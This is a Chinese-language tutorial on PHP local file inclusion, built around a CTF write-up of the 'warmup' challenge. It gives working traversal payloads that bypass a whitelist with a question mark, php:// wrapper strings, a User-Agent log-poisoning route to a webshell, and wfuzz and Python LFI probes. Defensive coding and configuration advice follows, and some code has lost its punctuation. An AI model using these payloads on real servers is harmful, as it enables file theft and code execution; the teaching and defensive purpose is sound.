PHP代码审计实战:从攻防世界warmup题目看include漏洞的利用与防御
PHP代码审计实战从warmup题目剖析include漏洞攻防艺术在CTF竞赛和实际渗透测试中PHP的include漏洞一直是高频出现的危险漏洞类型。去年某知名企业的数据泄露事件根源就在于一个被忽视的本地文件包含漏洞。本文将基于攻防世界经典题目warmup带您深入理解include漏洞的利用手法与防御策略。1. 漏洞原理深度解析include漏洞本质上源于对用户输入的不当信任。当开发者直接将用户可控参数传递给include函数时攻击者就能通过精心构造的路径实现任意文件读取。在warmup题目中关键漏洞点出现在以下代码段if (! empty($_REQUEST[file]) is_string($_REQUEST[file]) emmm::checkFile($_REQUEST[file])) { include $_REQUEST[file]; exit; }这个看似简单的条件判断隐藏着三个致命缺陷白名单验证可绕过checkFile函数对source.php?../../这类特殊路径处理不当路径规范化缺失未对最终包含路径进行规范化处理错误处理暴露信息失败时返回的图片可能泄露服务器环境信息典型的目录穿越攻击利用../符号实现路径跳转。在Linux系统中每个../会使路径向上一级。通过叠加使用攻击者可以突破web根目录限制web根目录/var/www/html/ payloadsource.php?../../../../../etc/passwd 实际路径/var/www/html/source.php?../../../../../etc/passwd → /etc/passwd2. warmup题目漏洞利用全解2.1 代码审计关键点分析题目提供的源码我们需要特别关注emmm类的checkFile方法class emmm { public static function checkFile($page) { $whitelist [sourcesource.php,hinthint.php]; // ...验证逻辑... } }该方法的验证逻辑存在三处校验直接匹配白名单截取问号前部分匹配URL解码后再次截取匹配突破点在于问号截断特性。当传入source.php?payload时$_page mb_substr($page, 0, mb_strpos($page.?, ?)); // 返回source.php2.2 分步构造攻击payload信息收集阶段访问hint.php获取提示flag not here, and flag in ffffllllaaaagggg确认目标文件名为ffffllllaaaagggg路径穿越测试基础payloadsource.php?../../ffffllllaaaagggg逐步增加../数量测试source.php?../ source.php?../../ source.php?../../../最终利用payload确认5级跳转可访问flag/source.php?filesource.php?../../../../../ffffllllaaaagggg注意实际环境中需要根据目录结构调整../数量通常3-7次尝试即可定位目标文件2.3 防御机制绕过技巧题目中的防御措施存在多个可绕过点防御措施绕过方法原理说明白名单校验问号截断mb_substr截取问号前内容字符串类型检查保持字符串格式直接构造合规字符串URL解码检查无需编码处理原始payload已满足要求3. 高级利用技术拓展3.1 PHP伪协议利用分析虽然本题禁用伪协议但实际审计中常遇到的利用方式# 读取文件内容 php://filter/readconvert.base64-encode/resourceconfig.php # 执行PHP代码 php://input POST传入代码伪协议被禁用的常见原因allow_url_includeOff特殊字符被过滤路径长度限制3.2 日志文件注入技术当直接文件包含受阻时可尝试包含日志文件/var/log/apache2/access.log /proc/self/environ利用步骤通过User-Agent注入PHP代码包含日志文件执行代码获取webshell权限4. 企业级防御方案4.1 代码层防护绝对禁止的方案// 危险示例 include($_GET[file] . .php);推荐的安全写法$allowed [home, news, download]; $page $_GET[page] ?? home; if (!in_array($page, $allowed)) { throw new Exception(Invalid page request); } include(__DIR__ . /templates/ . $page . .php);4.2 架构层防护open_basedir限制open_basedir /var/www/html:/tmpWeb服务器配置Directory /var/www/html php_admin_value open_basedir /var/www/html Options -Indexes /Directory文件权限控制chown -R www-data:www-data /var/www/html chmod -R 750 /var/www/html4.3 安全开发规范文件包含白名单应采用键值对形式$allowList [ home templates/home.php, about templates/about.php ];包含文件时使用绝对路径include realpath(__DIR__ . /templates/ . $allowList[$page]);启用严格模式declare(strict_types1);5. 自动化审计工具实战5.1 静态分析工具使用RIPS扫描包含漏洞java -jar rips.jar -p /path/to/code --format html关键漏洞特征检测include/require语句用户输入直接作为参数缺乏路径校验5.2 动态Fuzz测试使用wfuzz进行路径遍历测试wfuzz -c -z file,wordlist.txt --hc 404 http://target/FUZZ推荐测试用例../../../../etc/passwd ....//....//etc/passwd %2e%2e%2fetc%2fpasswd5.3 自定义检测脚本Python检测脚本示例import requests def check_lfi(url, param): payloads [ ../../../../etc/passwd, ....//....//etc/passwd, %2e%2e%2fetc%2fpasswd ] for payload in payloads: r requests.get(url, params{param: payload}) if root: in r.text: return True return False在安全开发生命周期中建议将这类检查集成到CI/CD流程每次代码提交自动执行基础安全检测。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2418071.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!